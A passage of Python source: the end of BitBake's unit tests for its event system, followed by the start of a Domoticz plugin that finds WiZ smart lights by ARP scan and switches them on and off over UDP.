bb.event.get_class_handlers() self.assertIn("handler", handlers_dict) result = bb.event.register("handler", self._test_process.handler) self.assertEqual(result, bb.event.AlreadyRegistered) def test_register_from_string(self): """ Test register method receiving code in string """ result = bb.event.register("string_handler", " return True") self.assertEqual(result, bb.event.Registered) handlers_dict = bb.event.get_class_handlers() self.assertIn("string_handler", handlers_dict) def test_register_with_mask(self): """ Test register method with event masking """ mask = ["bb.event.OperationStarted", "bb.event.OperationCompleted"] result = bb.event.register("event_handler", self._test_process.event_handler, mask) self.assertEqual(result, bb.event.Registered) handlers_dict = bb.event.get_class_handlers() self.assertIn("event_handler", handlers_dict) def test_remove(self): """ Test remove method for class handlers """ test_handlers = self._create_test_handlers() bb.event.set_class_handlers(test_handlers) count = len(test_handlers) bb.event.remove("handler1", None) test_handlers = bb.event.get_class_handlers() self.assertEqual(len(test_handlers), count - 1) with self.assertRaises(KeyError): bb.event.remove("handler1", None) def test_execute_handler(self): """ Test execute_handler method for class handlers """ mask = ["bb.event.OperationProgress"] result = bb.event.register("event_handler", self._test_process.event_handler, mask) self.assertEqual(result, bb.event.Registered) event = bb.event.OperationProgress(current=10, total=100) bb.event.execute_handler("event_handler", self._test_process.event_handler, event, None) self._test_process.event_handler.assert_called_once_with(event) def test_fire_class_handlers(self): """ Test fire_class_handlers method """ mask = ["bb.event.OperationStarted"] result = bb.event.register("event_handler1", self._test_process.event_handler1, mask) self.assertEqual(result, bb.event.Registered) result = bb.event.register("event_handler2", self._test_process.event_handler2, "*") self.assertEqual(result, bb.event.Registered) event1 = bb.event.OperationStarted() event2 = bb.event.OperationCompleted(total=123) bb.event.fire_class_handlers(event1, None) bb.event.fire_class_handlers(event2, None) bb.event.fire_class_handlers(event2, None) expected_event_handler1 = [call(event1)] expected_event_handler2 = [call(event1), call(event2), call(event2)] self.assertEqual(self._test_process.event_handler1.call_args_list, expected_event_handler1) self.assertEqual(self._test_process.event_handler2.call_args_list, expected_event_handler2) def test_class_handler_filters(self): """ Test filters for class handlers """ mask = ["bb.event.OperationStarted"] result = bb.event.register("event_handler1", self._test_process.event_handler1, mask) self.assertEqual(result, bb.event.Registered) result = bb.event.register("event_handler2", self._test_process.event_handler2, "*") self.assertEqual(result, bb.event.Registered) bb.event.set_eventfilter( lambda name, handler, event, d : name == 'event_handler2' and bb.event.getName(event) == "OperationStarted") event1 = bb.event.OperationStarted() event2 = bb.event.OperationCompleted(total=123) bb.event.fire_class_handlers(event1, None) bb.event.fire_class_handlers(event2, None) bb.event.fire_class_handlers(event2, None) expected_event_handler1 = [] expected_event_handler2 = [call(event1)] self.assertEqual(self._test_process.event_handler1.call_args_list, expected_event_handler1) self.assertEqual(self._test_process.event_handler2.call_args_list, expected_event_handler2) def test_change_handler_event_mapping(self): """ Test changing the event mapping for class handlers """ event1 = bb.event.OperationStarted() event2 = bb.event.OperationCompleted(total=123) # register handler for all events result = bb.event.register("event_handler1", self._test_process.event_handler1, "*") self.assertEqual(result, bb.event.Registered) bb.event.fire_class_handlers(event1, None) bb.event.fire_class_handlers(event2, None) expected = [call(event1), call(event2)] self.assertEqual(self._test_process.event_handler1.call_args_list, expected) # unregister handler and register it only for OperationStarted bb.event.remove("event_handler1", self._test_process.event_handler1) mask = ["bb.event.OperationStarted"] result = bb.event.register("event_handler1", self._test_process.event_handler1, mask) self.assertEqual(result, bb.event.Registered) bb.event.fire_class_handlers(event1, None) bb.event.fire_class_handlers(event2, None) expected = [call(event1), call(event2), call(event1)] self.assertEqual(self._test_process.event_handler1.call_args_list, expected) # unregister handler and register it only for OperationCompleted bb.event.remove("event_handler1", self._test_process.event_handler1) mask = ["bb.event.OperationCompleted"] result = bb.event.register("event_handler1", self._test_process.event_handler1, mask) self.assertEqual(result, bb.event.Registered) bb.event.fire_class_handlers(event1, None) bb.event.fire_class_handlers(event2, None) expected = [call(event1), call(event2), call(event1), call(event2)] self.assertEqual(self._test_process.event_handler1.call_args_list, expected) def test_register_UIHhandler(self): """ Test register_UIHhandler method """ result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) self.assertEqual(result, 1) def test_UIHhandler_already_registered(self): """ Test registering an UIHhandler already existing """ result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) self.assertEqual(result, 1) result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) self.assertEqual(result, 2) def test_unregister_UIHhandler(self): """ Test unregister_UIHhandler method """ result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) self.assertEqual(result, 1) result = bb.event.unregister_UIHhandler(1) self.assertIs(result, None) def test_fire_ui_handlers(self): """ Test fire_ui_handlers method """ self._test_ui1.event = Mock(spec_set=EventQueueStub) result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) self.assertEqual(result, 1) self._test_ui2.event = Mock(spec_set=PickleEventQueueStub) result = bb.event.register_UIHhandler(self._test_ui2, mainui=True) self.assertEqual(result, 2) event1 = bb.event.OperationStarted() bb.event.fire_ui_handlers(event1, None) expected = [call(event1)] self.assertEqual(self._test_ui1.event.send.call_args_list, expected) expected = [call(pickle.dumps(event1))] self.assertEqual(self._test_ui2.event.sendpickle.call_args_list, expected) def test_ui_handler_mask_filter(self): """ Test filters for UI handlers """ mask = ["bb.event.OperationStarted"] debug_domains = {} self._test_ui1.event = Mock(spec_set=EventQueueStub) result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) bb.event.set_UIHmask(result, logging.INFO, debug_domains, mask) self._test_ui2.event = Mock(spec_set=PickleEventQueueStub) result = bb.event.register_UIHhandler(self._test_ui2, mainui=True) bb.event.set_UIHmask(result, logging.INFO, debug_domains, mask) event1 = bb.event.OperationStarted() event2 = bb.event.OperationCompleted(total=1) bb.event.fire_ui_handlers(event1, None) bb.event.fire_ui_handlers(event2, None) expected = [call(event1)] self.assertEqual(self._test_ui1.event.send.call_args_list, expected) expected = [call(pickle.dumps(event1))] self.assertEqual(self._test_ui2.event.sendpickle.call_args_list, expected) def test_ui_handler_log_filter(self): """ Test log filters for UI handlers """ mask = ["*"] debug_domains = {'BitBake.Foo': logging.WARNING} self._test_ui1.event = EventQueueStub() result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) bb.event.set_UIHmask(result, logging.ERROR, debug_domains, mask) self._test_ui2.event = PickleEventQueueStub() result = bb.event.register_UIHhandler(self._test_ui2, mainui=True) bb.event.set_UIHmask(result, logging.ERROR, debug_domains, mask) event1 = bb.event.OperationStarted() bb.event.fire_ui_handlers(event1, None) # All events match event_log_handler = bb.event.LogHandler() logger = logging.getLogger("BitBake") logger.addHandler(event_log_handler) logger1 = logging.getLogger("BitBake.Foo") logger1.warning("Test warning LogRecord1") # Matches debug_domains level logger1.info("Test info LogRecord") # Filtered out logger2 = logging.getLogger("BitBake.Bar") logger2.error("Test error LogRecord") # Matches filter base level logger2.warning("Test warning LogRecord2") # Filtered out logger.removeHandler(event_log_handler) expected = ['OperationStarted', 'WARNING: Test warning LogRecord1', 'ERROR: Test error LogRecord'] self.assertEqual(self._test_ui1.event.event_calls, expected) self.assertEqual(self._test_ui2.event.event_calls, expected) def test_fire(self): """ Test fire method used to trigger class and ui event handlers """ mask = ["bb.event.ConfigParsed"] result = bb.event.register("event_handler1", self._test_process.event_handler1, mask) self._test_ui1.event = Mock(spec_set=EventQueueStub) result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) self.assertEqual(result, 1) event1 = bb.event.ConfigParsed() bb.event.fire(event1, None) expected = [call(event1)] self.assertEqual(self._test_process.event_handler1.call_args_list, expected) self.assertEqual(self._test_ui1.event.send.call_args_list, expected) def test_fire_from_worker(self): """ Test fire_from_worker method """ self._test_ui1.event = Mock(spec_set=EventQueueStub) result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) self.assertEqual(result, 1) event1 = bb.event.ConfigParsed() bb.event.fire_from_worker(event1, None) expected = [call(event1)] self.assertEqual(self._test_ui1.event.send.call_args_list, expected) def test_worker_fire(self): """ Test the triggering of bb.event.worker_fire callback """ bb.event.worker_fire = Mock() event = bb.event.Event() bb.event.fire(event, None) expected = [call(event, None)] self.assertEqual(bb.event.worker_fire.call_args_list, expected) def test_print_ui_queue(self): """ Test print_ui_queue method """ event1 = bb.event.OperationStarted() event2 = bb.event.OperationCompleted(total=123) bb.event.fire(event1, None) bb.event.fire(event2, None) event_log_handler = bb.event.LogHandler() logger = logging.getLogger("BitBake") logger.addHandler(event_log_handler) logger.info("Test info LogRecord") logger.warning("Test warning LogRecord") with self.assertLogs("BitBake", level="INFO") as cm: bb.event.print_ui_queue() logger.removeHandler(event_log_handler) self.assertEqual(cm.output, ["INFO:BitBake:Test info LogRecord", "WARNING:BitBake:Test warning LogRecord"]) def _set_threadlock_test_mockups(self): """ Create UI event handler mockups used in enable and disable threadlock tests """ def ui1_event_send(event): if type(event) is bb.event.ConfigParsed: self._threadlock_test_calls.append("w1_ui1") if type(event) is bb.event.OperationStarted: self._threadlock_test_calls.append("w2_ui1") time.sleep(2) def ui2_event_send(event): if type(event) is bb.event.ConfigParsed: self._threadlock_test_calls.append("w1_ui2") if type(event) is bb.event.OperationStarted: self._threadlock_test_calls.append("w2_ui2") time.sleep(2) self._threadlock_test_calls = [] self._test_ui1.event = EventQueueStub() self._test_ui1.event.send = ui1_event_send result = bb.event.register_UIHhandler(self._test_ui1, mainui=True) self.assertEqual(result, 1) self._test_ui2.event = EventQueueStub() self._test_ui2.event.send = ui2_event_send result = bb.event.register_UIHhandler(self._test_ui2, mainui=True) self.assertEqual(result, 2) def _set_and_run_threadlock_test_workers(self): """ Create and run the workers used to trigger events in enable and disable threadlock tests """ worker1 = threading.Thread(target=self._thread_lock_test_worker1) worker2 = threading.Thread(target=self._thread_lock_test_worker2) worker1.start() time.sleep(1) worker2.start() worker1.join() worker2.join() def _thread_lock_test_worker1(self): """ First worker used to fire the ConfigParsed event for enable and disable threadlocks tests """ bb.event.fire(bb.event.ConfigParsed(), None) def _thread_lock_test_worker2(self): """ Second worker used to fire the OperationStarted event for enable and disable threadlocks tests """ bb.event.fire(bb.event.OperationStarted(), None) def test_enable_threadlock(self): """ Test enable_threadlock method """ self._set_threadlock_test_mockups() bb.event.enable_threadlock() self._set_and_run_threadlock_test_workers() # Calls to UI handlers should be in order as all the registered # handlers for the event coming from the first worker should be # called before processing the event from the second worker. self.assertEqual(self._threadlock_test_calls, ["w1_ui1", "w1_ui2", "w2_ui1", "w2_ui2"]) def test_disable_threadlock(self): """ Test disable_threadlock method """ self._set_threadlock_test_mockups() bb.event.disable_threadlock() self._set_and_run_threadlock_test_workers() # Calls to UI handlers should be intertwined together. Thanks to the # delay in the registered handlers for the event coming from the first # worker, the event coming from the second worker starts being # processed before finishing handling the first worker event. self.assertEqual(self._threadlock_test_calls, ["w1_ui1", "w2_ui1", "w1_ui2", "w2_ui2"]) class EventClassesTest(unittest.TestCase): """ Event classes test class """ _worker_pid = 54321 def setUp(self): bb.event.worker_pid = EventClassesTest._worker_pid def test_Event(self): """ Test the Event base class """ event = bb.event.Event() self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_HeartbeatEvent(self): """ Test the HeartbeatEvent class """ time = 10 event = bb.event.HeartbeatEvent(time) self.assertEqual(event.time, time) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_OperationStarted(self): """ Test OperationStarted event class """ msg = "Foo Bar" event = bb.event.OperationStarted(msg) self.assertEqual(event.msg, msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_OperationCompleted(self): """ Test OperationCompleted event class """ msg = "Foo Bar" total = 123 event = bb.event.OperationCompleted(total, msg) self.assertEqual(event.msg, msg) self.assertEqual(event.total, total) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_OperationProgress(self): """ Test OperationProgress event class """ msg = "Foo Bar" total = 123 current = 111 event = bb.event.OperationProgress(current, total, msg) self.assertEqual(event.msg, msg + ": %s/%s" % (current, total)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ConfigParsed(self): """ Test the ConfigParsed class """ event = bb.event.ConfigParsed() self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_MultiConfigParsed(self): """ Test MultiConfigParsed event class """ mcdata = {"foobar": "Foo Bar"} event = bb.event.MultiConfigParsed(mcdata) self.assertEqual(event.mcdata, mcdata) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_RecipeEvent(self): """ Test RecipeEvent event base class """ callback = lambda a: 2 * a event = bb.event.RecipeEvent(callback) self.assertEqual(event.fn(1), callback(1)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_RecipePreFinalise(self): """ Test RecipePreFinalise event class """ callback = lambda a: 2 * a event = bb.event.RecipePreFinalise(callback) self.assertEqual(event.fn(1), callback(1)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_RecipeTaskPreProcess(self): """ Test RecipeTaskPreProcess event class """ callback = lambda a: 2 * a tasklist = [("foobar", callback)] event = bb.event.RecipeTaskPreProcess(callback, tasklist) self.assertEqual(event.fn(1), callback(1)) self.assertEqual(event.tasklist, tasklist) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_RecipeParsed(self): """ Test RecipeParsed event base class """ callback = lambda a: 2 * a event = bb.event.RecipeParsed(callback) self.assertEqual(event.fn(1), callback(1)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_StampUpdate(self): targets = ["foo", "bar"] stampfns = [lambda:"foobar"] event = bb.event.StampUpdate(targets, stampfns) self.assertEqual(event.targets, targets) self.assertEqual(event.stampPrefix, stampfns) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_BuildBase(self): """ Test base class for bitbake build events """ name = "foo" pkgs = ["bar"] failures = 123 event = bb.event.BuildBase(name, pkgs, failures) self.assertEqual(event.name, name) self.assertEqual(event.pkgs, pkgs) self.assertEqual(event.getFailures(), failures) name = event.name = "bar" pkgs = event.pkgs = ["foo"] self.assertEqual(event.name, name) self.assertEqual(event.pkgs, pkgs) self.assertEqual(event.getFailures(), failures) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_BuildInit(self): """ Test class for bitbake build invocation events """ event = bb.event.BuildInit() self.assertEqual(event.name, None) self.assertEqual(event.pkgs, []) self.assertEqual(event.getFailures(), 0) name = event.name = "bar" pkgs = event.pkgs = ["foo"] self.assertEqual(event.name, name) self.assertEqual(event.pkgs, pkgs) self.assertEqual(event.getFailures(), 0) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_BuildStarted(self): """ Test class for build started events """ name = "foo" pkgs = ["bar"] failures = 123 event = bb.event.BuildStarted(name, pkgs, failures) self.assertEqual(event.name, name) self.assertEqual(event.pkgs, pkgs) self.assertEqual(event.getFailures(), failures) self.assertEqual(event.msg, "Building Started") name = event.name = "bar" pkgs = event.pkgs = ["foo"] msg = event.msg = "foobar" self.assertEqual(event.name, name) self.assertEqual(event.pkgs, pkgs) self.assertEqual(event.getFailures(), failures) self.assertEqual(event.msg, msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_BuildCompleted(self): """ Test class for build completed events """ total = 1000 name = "foo" pkgs = ["bar"] failures = 123 interrupted = 1 event = bb.event.BuildCompleted(total, name, pkgs, failures, interrupted) self.assertEqual(event.name, name) self.assertEqual(event.pkgs, pkgs) self.assertEqual(event.getFailures(), failures) self.assertEqual(event.msg, "Building Failed") event2 = bb.event.BuildCompleted(total, name, pkgs) self.assertEqual(event2.name, name) self.assertEqual(event2.pkgs, pkgs) self.assertEqual(event2.getFailures(), 0) self.assertEqual(event2.msg, "Building Succeeded") self.assertEqual(event2.pid, EventClassesTest._worker_pid) def test_DiskFull(self): """ Test DiskFull event class """ dev = "/dev/foo" type = "ext4" freespace = "104M" mountpoint = "/" event = bb.event.DiskFull(dev, type, freespace, mountpoint) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_MonitorDiskEvent(self): """ Test MonitorDiskEvent class """ available_bytes = 10000000 free_bytes = 90000000 total_bytes = 1000000000 du = bb.event.DiskUsageSample(available_bytes, free_bytes, total_bytes) event = bb.event.MonitorDiskEvent(du) self.assertEqual(event.disk_usage.available_bytes, available_bytes) self.assertEqual(event.disk_usage.free_bytes, free_bytes) self.assertEqual(event.disk_usage.total_bytes, total_bytes) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_NoProvider(self): """ Test NoProvider event class """ item = "foobar" event1 = bb.event.NoProvider(item) self.assertEqual(event1.getItem(), item) self.assertEqual(event1.isRuntime(), False) self.assertEqual(str(event1), "Nothing PROVIDES 'foobar'") runtime = True dependees = ["foo", "bar"] reasons = None close_matches = ["foibar", "footbar"] event2 = bb.event.NoProvider(item, runtime, dependees, reasons, close_matches) self.assertEqual(event2.isRuntime(), True) expected = ("Nothing RPROVIDES 'foobar' (but foo, bar RDEPENDS" " on or otherwise requires it). Close matches:\n" " foibar\n" " footbar") self.assertEqual(str(event2), expected) reasons = ["Item does not exist on database"] close_matches = ["foibar", "footbar"] event3 = bb.event.NoProvider(item, runtime, dependees, reasons, close_matches) expected = ("Nothing RPROVIDES 'foobar' (but foo, bar RDEPENDS" " on or otherwise requires it)\n" "Item does not exist on database") self.assertEqual(str(event3), expected) self.assertEqual(event3.pid, EventClassesTest._worker_pid) def test_MultipleProviders(self): """ Test MultipleProviders event class """ item = "foobar" candidates = ["foobarv1", "foobars"] event1 = bb.event.MultipleProviders(item, candidates) self.assertEqual(event1.isRuntime(), False) self.assertEqual(event1.getItem(), item) self.assertEqual(event1.getCandidates(), candidates) expected = ("Multiple providers are available for foobar (foobarv1," " foobars)\n" "Consider defining a PREFERRED_PROVIDER entry to match " "foobar") self.assertEqual(str(event1), expected) runtime = True event2 = bb.event.MultipleProviders(item, candidates, runtime) self.assertEqual(event2.isRuntime(), runtime) expected = ("Multiple providers are available for runtime foobar " "(foobarv1, foobars)\n" "Consider defining a PREFERRED_RPROVIDER entry to match " "foobar") self.assertEqual(str(event2), expected) self.assertEqual(event2.pid, EventClassesTest._worker_pid) def test_ParseStarted(self): """ Test ParseStarted event class """ total = 123 event = bb.event.ParseStarted(total) self.assertEqual(event.msg, "Recipe parsing Started") self.assertEqual(event.total, total) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ParseCompleted(self): """ Test ParseCompleted event class """ cached = 10 parsed = 13 skipped = 7 virtuals = 2 masked = 1 errors = 0 total = 23 event = bb.event.ParseCompleted(cached, parsed, skipped, masked, virtuals, errors, total) self.assertEqual(event.msg, "Recipe parsing Completed") expected = [cached, parsed, skipped, virtuals, masked, errors, cached + parsed, total] actual = [event.cached, event.parsed, event.skipped, event.virtuals, event.masked, event.errors, event.sofar, event.total] self.assertEqual(str(actual), str(expected)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ParseProgress(self): """ Test ParseProgress event class """ current = 10 total = 100 event = bb.event.ParseProgress(current, total) self.assertEqual(event.msg, "Recipe parsing" + ": %s/%s" % (current, total)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_CacheLoadStarted(self): """ Test CacheLoadStarted event class """ total = 123 event = bb.event.CacheLoadStarted(total) self.assertEqual(event.msg, "Loading cache Started") self.assertEqual(event.total, total) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_CacheLoadProgress(self): """ Test CacheLoadProgress event class """ current = 10 total = 100 event = bb.event.CacheLoadProgress(current, total) self.assertEqual(event.msg, "Loading cache" + ": %s/%s" % (current, total)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_CacheLoadCompleted(self): """ Test CacheLoadCompleted event class """ total = 23 num_entries = 12 event = bb.event.CacheLoadCompleted(total, num_entries) self.assertEqual(event.msg, "Loading cache Completed") expected = [total, num_entries] actual = [event.total, event.num_entries] self.assertEqual(str(actual), str(expected)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_TreeDataPreparationStarted(self): """ Test TreeDataPreparationStarted event class """ event = bb.event.TreeDataPreparationStarted() self.assertEqual(event.msg, "Preparing tree data Started") self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_TreeDataPreparationProgress(self): """ Test TreeDataPreparationProgress event class """ current = 10 total = 100 event = bb.event.TreeDataPreparationProgress(current, total) self.assertEqual(event.msg, "Preparing tree data" + ": %s/%s" % (current, total)) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_TreeDataPreparationCompleted(self): """ Test TreeDataPreparationCompleted event class """ total = 23 event = bb.event.TreeDataPreparationCompleted(total) self.assertEqual(event.msg, "Preparing tree data Completed") self.assertEqual(event.total, total) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_DepTreeGenerated(self): """ Test DepTreeGenerated event class """ depgraph = Mock() event = bb.event.DepTreeGenerated(depgraph) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_TargetsTreeGenerated(self): """ Test TargetsTreeGenerated event class """ model = Mock() event = bb.event.TargetsTreeGenerated(model) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ReachableStamps(self): """ Test ReachableStamps event class """ stamps = [Mock(), Mock()] event = bb.event.ReachableStamps(stamps) self.assertEqual(event.stamps, stamps) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_FilesMatchingFound(self): """ Test FilesMatchingFound event class """ pattern = "foo.*bar" matches = ["foobar"] event = bb.event.FilesMatchingFound(pattern, matches) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ConfigFilesFound(self): """ Test ConfigFilesFound event class """ variable = "FOO_BAR" values = ["foo", "bar"] event = bb.event.ConfigFilesFound(variable, values) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ConfigFilePathFound(self): """ Test ConfigFilePathFound event class """ path = "/foo/bar" event = bb.event.ConfigFilePathFound(path) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_message_classes(self): """ Test message event classes """ msg = "foobar foo bar" event = bb.event.MsgBase(msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) event = bb.event.MsgDebug(msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) event = bb.event.MsgNote(msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) event = bb.event.MsgWarn(msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) event = bb.event.MsgError(msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) event = bb.event.MsgFatal(msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) event = bb.event.MsgPlain(msg) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_LogExecTTY(self): """ Test LogExecTTY event class """ msg = "foo bar" prog = "foo.sh" sleep_delay = 10 retries = 3 event = bb.event.LogExecTTY(msg, prog, sleep_delay, retries) self.assertEqual(event.msg, msg) self.assertEqual(event.prog, prog) self.assertEqual(event.sleep_delay, sleep_delay) self.assertEqual(event.retries, retries) self.assertEqual(event.pid, EventClassesTest._worker_pid) def _throw_zero_division_exception(self): a = 1 / 0 return def _worker_handler(self, event, d): self._returned_event = event return def test_LogHandler(self): """ Test LogHandler class """ logger = logging.getLogger("TestEventClasses") logger.propagate = False handler = bb.event.LogHandler(logging.INFO) logger.addHandler(handler) bb.event.worker_fire = self._worker_handler try: self._throw_zero_division_exception() except ZeroDivisionError as ex: logger.exception(ex) event = self._returned_event try: pe = pickle.dumps(event) newevent = pickle.loads(pe) except: self.fail('Logged event is not serializable') self.assertEqual(event.taskpid, EventClassesTest._worker_pid) def test_MetadataEvent(self): """ Test MetadataEvent class """ eventtype = "footype" eventdata = {"foo": "bar"} event = bb.event.MetadataEvent(eventtype, eventdata) self.assertEqual(event.type, eventtype) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ProcessStarted(self): """ Test ProcessStarted class """ processname = "foo" total = 9783128974 event = bb.event.ProcessStarted(processname, total) self.assertEqual(event.processname, processname) self.assertEqual(event.total, total) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ProcessProgress(self): """ Test ProcessProgress class """ processname = "foo" progress = 243224 event = bb.event.ProcessProgress(processname, progress) self.assertEqual(event.processname, processname) self.assertEqual(event.progress, progress) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_ProcessFinished(self): """ Test ProcessFinished class """ processname = "foo" total = 1242342344 event = bb.event.ProcessFinished(processname) self.assertEqual(event.processname, processname) self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_SanityCheck(self): """ Test SanityCheck class """ event1 = bb.event.SanityCheck() self.assertEqual(event1.generateevents, True) self.assertEqual(event1.pid, EventClassesTest._worker_pid) generateevents = False event2 = bb.event.SanityCheck(generateevents) self.assertEqual(event2.generateevents, generateevents) self.assertEqual(event2.pid, EventClassesTest._worker_pid) def test_SanityCheckPassed(self): """ Test SanityCheckPassed class """ event = bb.event.SanityCheckPassed() self.assertEqual(event.pid, EventClassesTest._worker_pid) def test_SanityCheckFailed(self): """ Test SanityCheckFailed class """ msg = "The sanity test failed." event1 = bb.event.SanityCheckFailed(msg) self.assertEqual(event1.pid, EventClassesTest._worker_pid) network_error = True event2 = bb.event.SanityCheckFailed(msg, network_error) self.assertEqual(event2.pid, EventClassesTest._worker_pid) def test_network_event_classes(self): """ Test network event classes """ event1 = bb.event.NetworkTest() generateevents = False self.assertEqual(event1.pid, EventClassesTest._worker_pid) event2 = bb.event.NetworkTest(generateevents) self.assertEqual(event2.pid, EventClassesTest._worker_pid) event3 = bb.event.NetworkTestPassed() self.assertEqual(event3.pid, EventClassesTest._worker_pid) event4 = bb.event.NetworkTestFailed() self.assertEqual(event4.pid, EventClassesTest._worker_pid) def test_FindSigInfoResult(self): """ Test FindSigInfoResult event class """ result = [Mock()] event = bb.event.FindSigInfoResult(result) self.assertEqual(event.result, result) self.assertEqual(event.pid, EventClassesTest._worker_pid)
plugin.py
# Domoticz WiZ connected Plugin # # Author: Syds Post sydspost@gmail.com # """ <plugin key="wiz" name="WiZ connected" author="Syds Post" version="1.0.0" wikilink="" externallink="https://www.wizconnected.com/"> <description> <h2>WiZ connected Plugin</h2><br/> This plugin is meant to control WiZ connected devices. WiZ connected devices may come with different brands as Philips, TAO and WiZ connected etc. <h3>Features</h3> <ul style="list-style-type:square"> <li>Auto-detection of devices on network</li> <li>On/Off control, state and available status display</li> <li>Dimmer/Warm-cold setting for Lights</li> <!-- <li>Scene activation support</li> --> </ul> <h3>Devices</h3> <ul style="list-style-type:square"> <li>All devices that have on/off state should be supported</li> </ul> <h3>Configuration</h3> Devices can be renamed in Domoticz or you can rename them in the App and remove them from Domoticz so they are detected with a new name or layout. Be careful when setting the subnet, setting class A or class B networks can lead to performance issues because the plugin uses ARP ping to detect the WiZ connected devices. Hostname Prefix is a comma seperated list of the first 4 characters of the hostname of the WiZ connected devices per brand. </description> <params> <param field="Mode1" label="Hostname Prefix" width="200px" required="true" default="wiz_"/> <param field="Mode2" label="Subnet" width="200px" required="true" default="192.168.0.0/24"/> <param field="Mode6" label="Debug" width="150px"> <options> <option label="None" value="0" default="true" /> <option label="Python Only" value="2"/> <option label="Basic Debugging" value="62"/> <option label="Basic+Messages" value="126"/> <option label="Connections Only" value="16"/> <option label="Connections+Python" value="18"/> <option label="Connections+Queue" value="144"/> <option label="All" value="-1"/> </options> </param> </params> </plugin> """ import Domoticz import threading import socket import html import sys import time import math import json import re from scapy.all import srp,Ether,ARP,conf class BasePlugin: startup = True; devs = {} last_update = 0 def __init__(self): return def onStart(self): Domoticz.Log("WiZ connected plugin started") if Parameters["Mode6"] != "0": Domoticz.Debugging(int(Parameters["Mode6"])) DumpConfigToLog() # Find devices that already exist, create those that don't conf.verb=0 ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=Parameters["Mode2"]), timeout=2) hostNames = [] for snd,rcv in ans: ipAddress=rcv.sprintf(r"%ARP.psrc%") try: hostName = socket.gethostbyaddr(ipAddress) except: hostName = "Onbekend" if hostName[0].startswith(Parameters["Mode1"]): hostNames.append(hostName[0]) for hostName in hostNames: Domoticz.Debug("Endpoint '"+hostName+"' found.") deviceFound = False for Device in Devices: if ((hostName == Devices[Device].DeviceID)): deviceFound = True if (deviceFound == False): Domoticz.Device(Name=hostName, DeviceID=hostName, Unit=len(Devices)+1, Type=241, Subtype=4, Switchtype=7, Image=0).Create() # Create/Start update thread self.updateThread = threading.Thread(name="WiZUpdateThread", target=BasePlugin.handleThread, args=(self,)) self.updateThread.start() def onStop(self): Domoticz.Debug("onStop called") while (threading.active_count() > 1): time.sleep(1.0) def onConnect(self, Connection, Status, Description): Domoticz.Debug("onConnect called") def onMessage(self, Connection, Data): Domoticz.Debug("onMessage called") def onCommand(self, Unit, Command, Level, Color): Domoticz.Debug("onCommand called for Unit " + str(Unit) + ": Parameter '" + str(Command) + "', Level: " + str(Level)) # Find the device for the Domoticz Unit provided dev = None try: dev = Devices[Unit] except Exception as e: Domoticz.Debug("Device has no ID " + str(Unit) + " " + str(e)) # If we didn't find it, leave (probably disconnected at this time) if dev == None: Domoticz.Error('Command for DeviceID='+Devices[Unit].DeviceID+' but device is not available.') return # if not dev.available(): # Domoticz.Error('Command for DeviceID='+Devices[Unit].DeviceID+' but device is offline.') # return Domoticz.Log('Sending command for DeviceID='+Devices[Unit].DeviceID) host = str(Devices[Unit].DeviceID) port = 38899 # Control device and update status in Domoticz if Command == 'On': mJSON = b'{"method":"setPilot","params":{"src":"udp","state":true}}' sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(mJSON, (host, port)) received = sock.recv(1024).decode('utf-8') finally: sock.close() received=str(received).split(",")[2].split(":")[2] received=received[0:len(received)-3].capitalize() UpdateDevice(Unit, 1, 'On', not received) elif Command == 'Off': mJSON = b'{"method":"setPilot","params":{"src":"udp","state":false}}' sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(mJSON, (host, port)) received = sock.recv(1024).decode('utf-8') finally: sock.close() received=str(received).split(",")[2].split(":")[2] received=received[0:len(received)-3].capitalize() UpdateDevice(Unit, 0, 